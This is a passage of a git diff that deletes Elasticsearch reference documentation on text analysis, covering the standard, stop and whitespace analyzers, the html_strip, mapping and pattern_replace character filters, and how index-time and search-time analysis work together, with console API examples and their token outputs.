-      "token": "lazy",
-      "start_offset": 40,
-      "end_offset": 44,
-      "type": "<ALPHANUM>",
-      "position": 9
-    },
-    {
-      "token": "dog's",
-      "start_offset": 45,
-      "end_offset": 50,
-      "type": "<ALPHANUM>",
-      "position": 10
-    },
-    {
-      "token": "bone",
-      "start_offset": 51,
-      "end_offset": 55,
-      "type": "<ALPHANUM>",
-      "position": 11
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-The above example produces the following terms:
-
-[source,text]
----------------------------
-[ 2, quick, brown, foxes, jumpe, d, over, lazy, dog's, bone ]
----------------------------
-
-[discrete]
-=== Definition
-
-The `standard` analyzer consists of:
-
-Tokenizer::
-* <<analysis-standard-tokenizer,Standard Tokenizer>>
-
-Token Filters::
-* <<analysis-lowercase-tokenfilter,Lower Case Token Filter>>
-* <<analysis-stop-tokenfilter,Stop Token Filter>> (disabled by default)
-
-If you need to customize the `standard` analyzer beyond the configuration
-parameters then you need to recreate it as a `custom` analyzer and modify
-it, usually by adding token filters. This would recreate the built-in
-`standard` analyzer and you can use it as a starting point:
-
-[source,console]
-----------------------------------------------------
-PUT /standard_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "rebuilt_standard": {
-          "tokenizer": "standard",
-          "filter": [
-            "lowercase"       <1>
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: standard_example, first: standard, second: rebuilt_standard}\nendyaml\n/]
-<1> You'd add any token filters after `lowercase`.
diff --git a/docs/reference/analysis/analyzers/stop-analyzer.asciidoc b/docs/reference/analysis/analyzers/stop-analyzer.asciidoc
deleted file mode 100644
index 5dc65268c7b..00000000000
--- a/docs/reference/analysis/analyzers/stop-analyzer.asciidoc
+++ /dev/null
@@ -1,276 +0,0 @@
-[[analysis-stop-analyzer]]
-=== Stop analyzer
-++++
-<titleabbrev>Stop</titleabbrev>
-++++
-
-The `stop` analyzer is the same as the <<analysis-simple-analyzer,`simple` analyzer>>
-but adds support for removing stop words.  It defaults to using the
-`_english_` stop words.
-
-[discrete]
-=== Example output
-
-[source,console]
----------------------------
-POST _analyze
-{
-  "analyzer": "stop",
-  "text": "The 2 QUICK Brown-Foxes jumped over the lazy dog's bone."
-}
----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "quick",
-      "start_offset": 6,
-      "end_offset": 11,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "brown",
-      "start_offset": 12,
-      "end_offset": 17,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "foxes",
-      "start_offset": 18,
-      "end_offset": 23,
-      "type": "word",
-      "position": 3
-    },
-    {
-      "token": "jumped",
-      "start_offset": 24,
-      "end_offset": 30,
-      "type": "word",
-      "position": 4
-    },
-    {
-      "token": "over",
-      "start_offset": 31,
-      "end_offset": 35,
-      "type": "word",
-      "position": 5
-    },
-    {
-      "token": "lazy",
-      "start_offset": 40,
-      "end_offset": 44,
-      "type": "word",
-      "position": 7
-    },
-    {
-      "token": "dog",
-      "start_offset": 45,
-      "end_offset": 48,
-      "type": "word",
-      "position": 8
-    },
-    {
-      "token": "s",
-      "start_offset": 49,
-      "end_offset": 50,
-      "type": "word",
-      "position": 9
-    },
-    {
-      "token": "bone",
-      "start_offset": 51,
-      "end_offset": 55,
-      "type": "word",
-      "position": 10
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above sentence would produce the following terms:
-
-[source,text]
----------------------------
-[ quick, brown, foxes, jumped, over, lazy, dog, s, bone ]
----------------------------
-
-[discrete]
-=== Configuration
-
-The `stop` analyzer accepts the following parameters:
-
-[horizontal]
-`stopwords`::
-
-    A pre-defined stop words list like `_english_` or an array  containing a
-    list of stop words.  Defaults to `_english_`.
-
-`stopwords_path`::
-
-    The path to a file containing stop words. This path is relative to the
-    Elasticsearch `config` directory.
-
-
-See the <<analysis-stop-tokenfilter,Stop Token Filter>> for more information
-about stop word configuration.
-
-[discrete]
-=== Example configuration
-
-In this example, we configure the `stop` analyzer to use a specified list of
-words as stop words:
-
-[source,console]
-----------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_stop_analyzer": {
-          "type": "stop",
-          "stopwords": ["the", "over"]
-        }
-      }
-    }
-  }
-}
-
-POST my-index-000001/_analyze
-{
-  "analyzer": "my_stop_analyzer",
-  "text": "The 2 QUICK Brown-Foxes jumped over the lazy dog's bone."
-}
-----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "quick",
-      "start_offset": 6,
-      "end_offset": 11,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "brown",
-      "start_offset": 12,
-      "end_offset": 17,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "foxes",
-      "start_offset": 18,
-      "end_offset": 23,
-      "type": "word",
-      "position": 3
-    },
-    {
-      "token": "jumped",
-      "start_offset": 24,
-      "end_offset": 30,
-      "type": "word",
-      "position": 4
-    },
-    {
-      "token": "lazy",
-      "start_offset": 40,
-      "end_offset": 44,
-      "type": "word",
-      "position": 7
-    },
-    {
-      "token": "dog",
-      "start_offset": 45,
-      "end_offset": 48,
-      "type": "word",
-      "position": 8
-    },
-    {
-      "token": "s",
-      "start_offset": 49,
-      "end_offset": 50,
-      "type": "word",
-      "position": 9
-    },
-    {
-      "token": "bone",
-      "start_offset": 51,
-      "end_offset": 55,
-      "type": "word",
-      "position": 10
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above example produces the following terms:
-
-[source,text]
----------------------------
-[ quick, brown, foxes, jumped, lazy, dog, s, bone ]
----------------------------
-
-[discrete]
-=== Definition
-
-It consists of:
-
-Tokenizer::
-* <<analysis-lowercase-tokenizer,Lower Case Tokenizer>>
-
-Token filters::
-* <<analysis-stop-tokenfilter,Stop Token Filter>>
-
-If you need to customize the `stop` analyzer beyond the configuration
-parameters then you need to recreate it as a `custom` analyzer and modify
-it, usually by adding token filters. This would recreate the built-in
-`stop` analyzer and you can use it as a starting point for further
-customization:
-
-[source,console]
-----------------------------------------------------
-PUT /stop_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "english_stop": {
-          "type":       "stop",
-          "stopwords":  "_english_" <1>
-        }
-      },
-      "analyzer": {
-        "rebuilt_stop": {
-          "tokenizer": "lowercase",
-          "filter": [
-            "english_stop"          <2>
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: stop_example, first: stop, second: rebuilt_stop}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> You'd add any token filters after `english_stop`.
diff --git a/docs/reference/analysis/analyzers/whitespace-analyzer.asciidoc b/docs/reference/analysis/analyzers/whitespace-analyzer.asciidoc
deleted file mode 100644
index 3af4f140b58..00000000000
--- a/docs/reference/analysis/analyzers/whitespace-analyzer.asciidoc
+++ /dev/null
@@ -1,149 +0,0 @@
-[[analysis-whitespace-analyzer]]
-=== Whitespace analyzer
-++++
-<titleabbrev>Whitespace</titleabbrev>
-++++
-
-The `whitespace` analyzer breaks text into terms whenever it encounters a
-whitespace character.
-
-[discrete]
-=== Example output
-
-[source,console]
----------------------------
-POST _analyze
-{
-  "analyzer": "whitespace",
-  "text": "The 2 QUICK Brown-Foxes jumped over the lazy dog's bone."
-}
----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "The",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "2",
-      "start_offset": 4,
-      "end_offset": 5,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "QUICK",
-      "start_offset": 6,
-      "end_offset": 11,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "Brown-Foxes",
-      "start_offset": 12,
-      "end_offset": 23,
-      "type": "word",
-      "position": 3
-    },
-    {
-      "token": "jumped",
-      "start_offset": 24,
-      "end_offset": 30,
-      "type": "word",
-      "position": 4
-    },
-    {
-      "token": "over",
-      "start_offset": 31,
-      "end_offset": 35,
-      "type": "word",
-      "position": 5
-    },
-    {
-      "token": "the",
-      "start_offset": 36,
-      "end_offset": 39,
-      "type": "word",
-      "position": 6
-    },
-    {
-      "token": "lazy",
-      "start_offset": 40,
-      "end_offset": 44,
-      "type": "word",
-      "position": 7
-    },
-    {
-      "token": "dog's",
-      "start_offset": 45,
-      "end_offset": 50,
-      "type": "word",
-      "position": 8
-    },
-    {
-      "token": "bone.",
-      "start_offset": 51,
-      "end_offset": 56,
-      "type": "word",
-      "position": 9
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above sentence would produce the following terms:
-
-[source,text]
----------------------------
-[ The, 2, QUICK, Brown-Foxes, jumped, over, the, lazy, dog's, bone. ]
----------------------------
-
-[discrete]
-=== Configuration
-
-The `whitespace` analyzer is not configurable.
-
-[discrete]
-=== Definition
-
-It consists of:
-
-Tokenizer::
-* <<analysis-whitespace-tokenizer,Whitespace Tokenizer>>
-
-If you need to customize the `whitespace` analyzer then you need to
-recreate it as a `custom` analyzer and modify it, usually by adding
-token filters. This would recreate the built-in `whitespace` analyzer
-and you can use it as a starting point for further customization:
-
-[source,console]
-----------------------------------------------------
-PUT /whitespace_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "rebuilt_whitespace": {
-          "tokenizer": "whitespace",
-          "filter": [         <1>
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: whitespace_example, first: whitespace, second: rebuilt_whitespace}\nendyaml\n/]
-
-<1> You'd add any token filters here.
diff --git a/docs/reference/analysis/anatomy.asciidoc b/docs/reference/analysis/anatomy.asciidoc
deleted file mode 100644
index 22e7ffda667..00000000000
--- a/docs/reference/analysis/anatomy.asciidoc
+++ /dev/null
@@ -1,55 +0,0 @@
-[[analyzer-anatomy]]
-=== Anatomy of an analyzer
-
-An _analyzer_  -- whether built-in or custom -- is just a package which
-contains three lower-level building blocks: _character filters_,
-_tokenizers_, and _token filters_.
-
-The built-in <<analysis-analyzers,analyzers>> pre-package these building
-blocks into analyzers suitable for different languages and types of text.
-Elasticsearch also exposes the individual building blocks so that they can be
-combined to define new <<analysis-custom-analyzer,`custom`>> analyzers.
-
-[[analyzer-anatomy-character-filters]]
-==== Character filters
-
-A _character filter_ receives the original text as a stream of characters and
-can transform the stream by adding, removing, or changing characters.  For
-instance, a character filter could be used to convert Hindu-Arabic numerals
-(٠‎١٢٣٤٥٦٧٨‎٩‎) into their Arabic-Latin equivalents (0123456789), or to strip HTML
-elements like `<b>` from the stream.
-
-An analyzer may have *zero or more* <<analysis-charfilters,character filters>>,
-which are applied in order.
-
-[[analyzer-anatomy-tokenizer]]
-==== Tokenizer
-
-A _tokenizer_  receives a stream of characters, breaks it up into individual
-_tokens_ (usually individual words), and outputs a stream of _tokens_. For
-instance, a <<analysis-whitespace-tokenizer,`whitespace`>> tokenizer breaks
-text into tokens whenever it sees any whitespace.  It would convert the text
-`"Quick brown fox!"` into the terms `[Quick, brown, fox!]`.
-
-The tokenizer is also responsible for recording the order or _position_ of
-each term and the start and end _character offsets_ of the original word which
-the term represents.
-
-An analyzer must have *exactly one* <<analysis-tokenizers,tokenizer>>.
-
-[[analyzer-anatomy-token-filters]]
-==== Token filters
-
-A _token filter_ receives the token stream and may add, remove, or change
-tokens.  For example, a <<analysis-lowercase-tokenfilter,`lowercase`>> token
-filter converts all tokens to lowercase, a
-<<analysis-stop-tokenfilter,`stop`>> token filter removes common words
-(_stop words_) like `the` from the token stream, and a
-<<analysis-synonym-tokenfilter,`synonym`>> token filter introduces synonyms
-into the token stream.
-
-Token filters are not allowed to change the position or character offsets of
-each token.
-
-An analyzer may have *zero or more* <<analysis-tokenfilters,token filters>>,
-which are applied in order.
\ No newline at end of file
diff --git a/docs/reference/analysis/charfilters.asciidoc b/docs/reference/analysis/charfilters.asciidoc
deleted file mode 100644
index 97fe4fd266b..00000000000
--- a/docs/reference/analysis/charfilters.asciidoc
+++ /dev/null
@@ -1,36 +0,0 @@
-[[analysis-charfilters]]
-== Character filters reference
-
-_Character filters_ are used to preprocess the stream of characters before it
-is passed to the <<analysis-tokenizers,tokenizer>>.
-
-A character filter receives the original text as a stream of characters and
-can transform the stream by adding, removing, or changing characters.  For
-instance, a character filter could be used to convert Hindu-Arabic numerals
-(٠‎١٢٣٤٥٦٧٨‎٩‎) into their Arabic-Latin equivalents (0123456789), or to strip HTML
-elements like `<b>` from the stream.
-
-
-Elasticsearch has a number of built in character filters which can be used to build
-<<analysis-custom-analyzer,custom analyzers>>.
-
-<<analysis-htmlstrip-charfilter,HTML Strip Character Filter>>::
-
-The `html_strip` character filter strips out HTML elements like `<b>` and
-decodes HTML entities like `&amp;`.
-
-<<analysis-mapping-charfilter,Mapping Character Filter>>::
-
-The `mapping` character filter replaces any occurrences of the specified
-strings with the specified replacements.
-
-<<analysis-pattern-replace-charfilter,Pattern Replace Character Filter>>::
-
-The `pattern_replace` character filter replaces any characters matching a
-regular expression with the specified replacement.
-
-include::charfilters/htmlstrip-charfilter.asciidoc[]
-
-include::charfilters/mapping-charfilter.asciidoc[]
-
-include::charfilters/pattern-replace-charfilter.asciidoc[]
diff --git a/docs/reference/analysis/charfilters/htmlstrip-charfilter.asciidoc b/docs/reference/analysis/charfilters/htmlstrip-charfilter.asciidoc
deleted file mode 100644
index 237339d9744..00000000000
--- a/docs/reference/analysis/charfilters/htmlstrip-charfilter.asciidoc
+++ /dev/null
@@ -1,130 +0,0 @@
-[[analysis-htmlstrip-charfilter]]
-=== HTML strip character filter
-++++
-<titleabbrev>HTML strip</titleabbrev>
-++++
-
-Strips HTML elements from a text and replaces HTML entities with their decoded
-value (e.g, replaces `&amp;` with `&`).
-
-The `html_strip` filter uses Lucene's
-{lucene-analysis-docs}/charfilter/HTMLStripCharFilter.html[HTMLStripCharFilter].
-
-[[analysis-htmlstrip-charfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the
-`html_strip` filter to change the text `<p>I&apos;m so <b>happy</b>!</p>` to
-`\nI'm so happy!\n`.
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "keyword",
-  "char_filter": [
-    "html_strip"
-  ],
-  "text": "<p>I&apos;m so <b>happy</b>!</p>"
-}
-----
-
-The filter produces the following text:
-
-[source,text]
-----
-[ \nI'm so happy!\n ]
-----
-
-////
-[source,console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "\nI'm so happy!\n",
-      "start_offset": 0,
-      "end_offset": 32,
-      "type": "word",
-      "position": 0
-    }
-  ]
-}
-----
-////
-
-[[analysis-htmlstrip-charfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`html_strip` filter to configure a new
-<<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "keyword",
-          "char_filter": [
-            "html_strip"
-          ]
-        }
-      }
-    }
-  }
-}
-----
-
-[[analysis-htmlstrip-charfilter-configure-parms]]
-==== Configurable parameters
-
-`escaped_tags`::
-(Optional, array of strings)
-Array of HTML elements without enclosing angle brackets (`< >`). The filter
-skips these HTML elements when stripping HTML from the text. For example, a
-value of `[ "p" ]` skips the `<p>` HTML element.
-
-[[analysis-htmlstrip-charfilter-customize]]
-==== Customize
-
-To customize the `html_strip` filter, duplicate it to create the basis for a new
-custom character filter. You can modify the filter using its configurable
-parameters.
-
-The following <<indices-create-index,create index API>> request
-configures a new <<analysis-custom-analyzer,custom analyzer>> using a custom
-`html_strip` filter, `my_custom_html_strip_char_filter`.
-
-The `my_custom_html_strip_char_filter` filter skips the removal of the `<b>`
-HTML element.
-
-[source,console]
-----
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "keyword",
-          "char_filter": [
-            "my_custom_html_strip_char_filter"
-          ]
-        }
-      },
-      "char_filter": {
-        "my_custom_html_strip_char_filter": {
-          "type": "html_strip",
-          "escaped_tags": [
-            "b"
-          ]
-        }
-      }
-    }
-  }
-}
-----
diff --git a/docs/reference/analysis/charfilters/mapping-charfilter.asciidoc b/docs/reference/analysis/charfilters/mapping-charfilter.asciidoc
deleted file mode 100644
index b1f2f0900dc..00000000000
--- a/docs/reference/analysis/charfilters/mapping-charfilter.asciidoc
+++ /dev/null
@@ -1,173 +0,0 @@
-[[analysis-mapping-charfilter]]
-=== Mapping character filter
-++++
-<titleabbrev>Mapping</titleabbrev>
-++++
-
-The `mapping` character filter accepts a map of keys and values.  Whenever it
-encounters a string of characters that is the same as a key, it replaces them
-with the value associated with that key.
-
-Matching is greedy; the longest pattern matching at a given point wins.
-Replacements are allowed to be the empty string.
-
-The `mapping` filter uses Lucene's
-{lucene-analysis-docs}/charfilter/MappingCharFilter.html[MappingCharFilter].
-
-[[analysis-mapping-charfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the `mapping` filter
-to convert Hindu-Arabic numerals (٠‎١٢٣٤٥٦٧٨‎٩‎) into their Arabic-Latin
-equivalents (0123456789), changing the text `My license plate is ٢٥٠١٥` to
-`My license plate is 25015`.
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "keyword",
-  "char_filter": [
-    {
-      "type": "mapping",
-      "mappings": [
-        "٠ => 0",
-        "١ => 1",
-        "٢ => 2",
-        "٣ => 3",
-        "٤ => 4",
-        "٥ => 5",
-        "٦ => 6",
-        "٧ => 7",
-        "٨ => 8",
-        "٩ => 9"
-      ]
-    }
-  ],
-  "text": "My license plate is ٢٥٠١٥"
-}
-----
-
-The filter produces the following text:
-
-[source,text]
-----
-[ My license plate is 25015 ]
-----
-
-////
-[source,console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "My license plate is 25015",
-      "start_offset": 0,
-      "end_offset": 25,
-      "type": "word",
-      "position": 0
-    }
-  ]
-}
-----
-////
-
-[[analysis-mapping-charfilter-configure-parms]]
-==== Configurable parameters
-
-`mappings`::
-(Required*, array of strings)
-Array of mappings, with each element having the form `key => value`.
-+
-Either this or the `mappings_path` parameter must be specified.
-
-`mappings_path`::
-(Required*, string)
-Path to a file containing `key => value` mappings.
-+
-This path must be absolute or relative to the `config` location, and the file
-must be UTF-8 encoded. Each mapping in the file must be separated by a line
-break.
-+
-Either this or the `mappings` parameter must be specified.
-
-[[analysis-mapping-charfilter-customize]]
-==== Customize and add to an analyzer
-
-To customize the `mappings` filter, duplicate it to create the basis for a new
-custom character filter. You can modify the filter using its configurable
-parameters.
-
-The following <<indices-create-index,create index API>> request
-configures a new <<analysis-custom-analyzer,custom analyzer>> using a custom
-`mappings` filter, `my_mappings_char_filter`.
-
-The `my_mappings_char_filter` filter replaces the `:)` and `:(` emoticons
-with a text equivalent.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "standard",
-          "char_filter": [
-            "my_mappings_char_filter"
-          ]
-        }
-      },
-      "char_filter": {
-        "my_mappings_char_filter": {
-          "type": "mapping",
-          "mappings": [
-            ":) => _happy_",
-            ":( => _sad_"
-          ]
-        }
-      }
-    }
-  }
-}
-----
-
-The following <<indices-analyze,analyze API>> request uses the custom
-`my_mappings_char_filter` to replace `:(` with `_sad_` in
-the text `I'm delighted about it :(`.
-
-[source,console]
-----
-GET /my-index-000001/_analyze
-{
-  "tokenizer": "keyword",
-  "char_filter": [ "my_mappings_char_filter" ],
-  "text": "I'm delighted about it :("
-}
-----
-// TEST[continued]
-
-The filter produces the following text:
-
-[source,text]
----------------------------
-[ I'm delighted about it _sad_ ]
----------------------------
-
-////
-[source,console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "I'm delighted about it _sad_",
-      "start_offset": 0,
-      "end_offset": 25,
-      "type": "word",
-      "position": 0
-    }
-  ]
-}
-----
-////
diff --git a/docs/reference/analysis/charfilters/pattern-replace-charfilter.asciidoc b/docs/reference/analysis/charfilters/pattern-replace-charfilter.asciidoc
deleted file mode 100644
index 7951cfec972..00000000000
--- a/docs/reference/analysis/charfilters/pattern-replace-charfilter.asciidoc
+++ /dev/null
@@ -1,267 +0,0 @@
-[[analysis-pattern-replace-charfilter]]
-=== Pattern replace character filter
-++++
-<titleabbrev>Pattern replace</titleabbrev>
-++++
-
-The `pattern_replace` character filter uses a regular expression to match
-characters which should be replaced with the specified replacement string.
-The replacement string can refer to capture groups in the regular expression.
-
-[WARNING]
-.Beware of Pathological Regular Expressions
-========================================
-
-The pattern replace character filter uses
-https://docs.oracle.com/javase/8/docs/api/java/util/regex/Pattern.html[Java Regular Expressions].
-
-A badly written regular expression could run very slowly or even throw a
-StackOverflowError and cause the node it is running on to exit suddenly.
-
-Read more about https://www.regular-expressions.info/catastrophic.html[pathological regular expressions and how to avoid them].
-
-========================================
-
-[discrete]
-=== Configuration
-
-The `pattern_replace` character filter accepts the following parameters:
-
-[horizontal]
-`pattern`::
-
-    A https://docs.oracle.com/javase/8/docs/api/java/util/regex/Pattern.html[Java regular expression]. Required.
-
-`replacement`::
-
-    The replacement string, which can reference capture groups using the
-    `$1`..`$9` syntax, as explained
-    https://docs.oracle.com/javase/8/docs/api/java/util/regex/Matcher.html#appendReplacement-java.lang.StringBuffer-java.lang.String-[here].
-
-`flags`::
-
-    Java regular expression https://docs.oracle.com/javase/8/docs/api/java/util/regex/Pattern.html#field.summary[flags].
-    Flags should be pipe-separated, eg `"CASE_INSENSITIVE|COMMENTS"`.
-
-[discrete]
-=== Example configuration
-
-In this example, we configure the `pattern_replace` character filter to
-replace any embedded dashes in numbers with underscores, i.e `123-456-789` ->
-`123_456_789`:
-
-[source,console]
-----------------------------
-PUT my-index-00001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "standard",
-          "char_filter": [
-            "my_char_filter"
-          ]
-        }
-      },
-      "char_filter": {
-        "my_char_filter": {
-          "type": "pattern_replace",
-          "pattern": "(\\d+)-(?=\\d)",
-          "replacement": "$1_"
-        }
-      }
-    }
-  }
-}
-
-POST my-index-00001/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "My credit card is 123-456-789"
-}
-----------------------------
-// TEST[s/\$1//]
-// the test framework doesn't like the $1 so we just throw it away rather than
-// try to get it to work properly. At least we are still testing the charfilter.
-
-The above example produces the following terms:
-
-[source,text]
----------------------------
-[ My, credit, card, is, 123_456_789 ]
----------------------------
-
-WARNING: Using a replacement string that changes the length of the original
-text will work for search purposes, but will result in incorrect highlighting,
-as can be seen in the following example.
-
-This example inserts a space whenever it encounters a lower-case letter
-followed by an upper-case letter (i.e. `fooBarBaz` -> `foo Bar Baz`), allowing
-camelCase words to be queried individually:
-
-[source,console]
-----------------------------
-PUT my-index-00001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "standard",
-          "char_filter": [
-            "my_char_filter"
-          ],
-          "filter": [
-            "lowercase"
-          ]
-        }
-      },
-      "char_filter": {
-        "my_char_filter": {
-          "type": "pattern_replace",
-          "pattern": "(?<=\\p{Lower})(?=\\p{Upper})",
-          "replacement": " "
-        }
-      }
-    }
-  },
-  "mappings": {
-    "properties": {
-      "text": {
-        "type": "text",
-        "analyzer": "my_analyzer"
-      }
-    }
-  }
-}
-
-POST my-index-00001/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "The fooBarBaz method"
-}
-----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "the",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "foo",
-      "start_offset": 4,
-      "end_offset": 6,
-      "type": "<ALPHANUM>",
-      "position": 1
-    },
-    {
-      "token": "bar",
-      "start_offset": 7,
-      "end_offset": 9,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "baz",
-      "start_offset": 10,
-      "end_offset": 13,
-      "type": "<ALPHANUM>",
-      "position": 3
-    },
-    {
-      "token": "method",
-      "start_offset": 14,
-      "end_offset": 20,
-      "type": "<ALPHANUM>",
-      "position": 4
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-The above returns the following terms:
-
-[source,text]
-----------------------------
-[ the, foo, bar, baz, method ]
-----------------------------
-
-Querying for `bar` will find the document correctly, but highlighting on the
-result will produce incorrect highlights, because our character filter changed
-the length of the original text:
-
-[source,console]
-----------------------------
-PUT my-index-00001/_doc/1?refresh
-{
-  "text": "The fooBarBaz method"
-}
-
-GET my-index-00001/_search
-{
-  "query": {
-    "match": {
-      "text": "bar"
-    }
-  },
-  "highlight": {
-    "fields": {
-      "text": {}
-    }
-  }
-}
-----------------------------
-// TEST[continued]
-
-The output from the above is:
-
-[source,console-result]
-----------------------------
-{
-  "timed_out": false,
-  "took": $body.took,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped" : 0,
-    "failed": 0
-  },
-  "hits": {
-    "total" : {
-        "value": 1,
-        "relation": "eq"
-    },
-    "max_score": 0.2876821,
-    "hits": [
-      {
-        "_index": "my-index-00001",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 0.2876821,
-        "_source": {
-          "text": "The fooBarBaz method"
-        },
-        "highlight": {
-          "text": [
-            "The foo<em>Ba</em>rBaz method" <1>
-          ]
-        }
-      }
-    ]
-  }
-}
-----------------------------
-// TESTRESPONSE[s/"took".*/"took": "$body.took",/]
-
-<1> Note the incorrect highlight.
diff --git a/docs/reference/analysis/concepts.asciidoc b/docs/reference/analysis/concepts.asciidoc
deleted file mode 100644
index 9ff605227b8..00000000000
--- a/docs/reference/analysis/concepts.asciidoc
+++ /dev/null
@@ -1,17 +0,0 @@
-[[analysis-concepts]]
-== Text analysis concepts
-++++
-<titleabbrev>Concepts</titleabbrev>
-++++
-
-This section explains the fundamental concepts of text analysis in {es}.
-
-* <<analyzer-anatomy>>
-* <<analysis-index-search-time>>
-* <<stemming>>
-* <<token-graphs>>
-
-include::anatomy.asciidoc[]
-include::index-search-time.asciidoc[]
-include::stemming.asciidoc[]
-include::token-graphs.asciidoc[]
\ No newline at end of file
diff --git a/docs/reference/analysis/configure-text-analysis.asciidoc b/docs/reference/analysis/configure-text-analysis.asciidoc
deleted file mode 100644
index ddafc257e94..00000000000
--- a/docs/reference/analysis/configure-text-analysis.asciidoc
+++ /dev/null
@@ -1,32 +0,0 @@
-[[configure-text-analysis]]
-== Configure text analysis
-
-By default, {es} uses the <<analysis-standard-analyzer,`standard` analyzer>> for
-all text analysis. The `standard` analyzer gives you out-of-the-box support for
-most natural languages and use cases. If you chose to use the `standard`
-analyzer as-is, no further configuration is needed.
-
-If the standard analyzer does not fit your needs, review and test {es}'s other
-built-in <<analysis-analyzers,built-in analyzers>>. Built-in analyzers don't
-require configuration, but some support options that can be used to adjust their
-behavior. For example, you can configure the `standard` analyzer with a list of
-custom stop words to remove.
-
-If no built-in analyzer fits your needs, you can test and create a custom
-analyzer. Custom analyzers involve selecting and combining different
-<<analyzer-anatomy,analyzer components>>, giving you greater control over
-the process.
-
-* <<test-analyzer>>
-* <<configuring-analyzers>>
-* <<analysis-custom-analyzer>>
-* <<specify-analyzer>>
-
-
-include::testing.asciidoc[]
-
-include::analyzers/configuring.asciidoc[]
-
-include::analyzers/custom-analyzer.asciidoc[]
-
-include::specify-analyzer.asciidoc[]
\ No newline at end of file
diff --git a/docs/reference/analysis/index-search-time.asciidoc b/docs/reference/analysis/index-search-time.asciidoc
deleted file mode 100644
index 41b922c2e95..00000000000
--- a/docs/reference/analysis/index-search-time.asciidoc
+++ /dev/null
@@ -1,175 +0,0 @@
-[[analysis-index-search-time]]
-=== Index and search analysis
-
-Text analysis occurs at two times:
-
-Index time::
-When a document is indexed, any <<text,`text`>> field values are analyzed.
-
-Search time::
-When running a <<full-text-queries,full-text search>> on a `text` field,
-the query string (the text the user is searching for) is analyzed.
-+
-Search time is also called _query time_.
-
-The analyzer, or set of analysis rules, used at each time is called the _index
-analyzer_ or _search analyzer_ respectively.
-
-[[analysis-same-index-search-analyzer]]
-==== How the index and search analyzer work together
-
-In most cases, the same analyzer should be used at index and search time. This
-ensures the values and query strings for a field are changed into the same form
-of tokens. In turn, this ensures the tokens match as expected during a search.
-
-.**Example**
-[%collapsible]
-====
-
-A document is indexed with the following value in a `text` field:
-
-[source,text]
-------
-The QUICK brown foxes jumped over the dog!
-------
-
-The index analyzer for the field converts the value into tokens and normalizes
-them. In this case, each of the tokens represents a word:
-
-[source,text]
-------
-[ quick, brown, fox, jump, over, dog ]
-------
-
-These tokens are then indexed.
-
-Later, a user searches the same `text` field for:
-
-[source,text]
-------
-"Quick fox"
-------
-
-The user expects this search to match the sentence indexed earlier,
-`The QUICK brown foxes jumped over the dog!`.
-
-However, the query string does not contain the exact words used in the
-document's original text:
-
-* `quick` vs `QUICK`
-* `fox` vs `foxes`
-
-To account for this, the query string is analyzed using the same analyzer. This
-analyzer produces the following tokens:
-
-[source,text]
-------
-[ quick, fox ]
-------
-
-To execute the search, {es} compares these query string tokens to the tokens
-indexed in the `text` field.
-
-[options="header"]
-|===
-|Token     | Query string | `text` field
-|`quick`   | X            | X
-|`brown`   |              | X
-|`fox`     | X            | X
-|`jump`    |              | X
-|`over`    |              | X
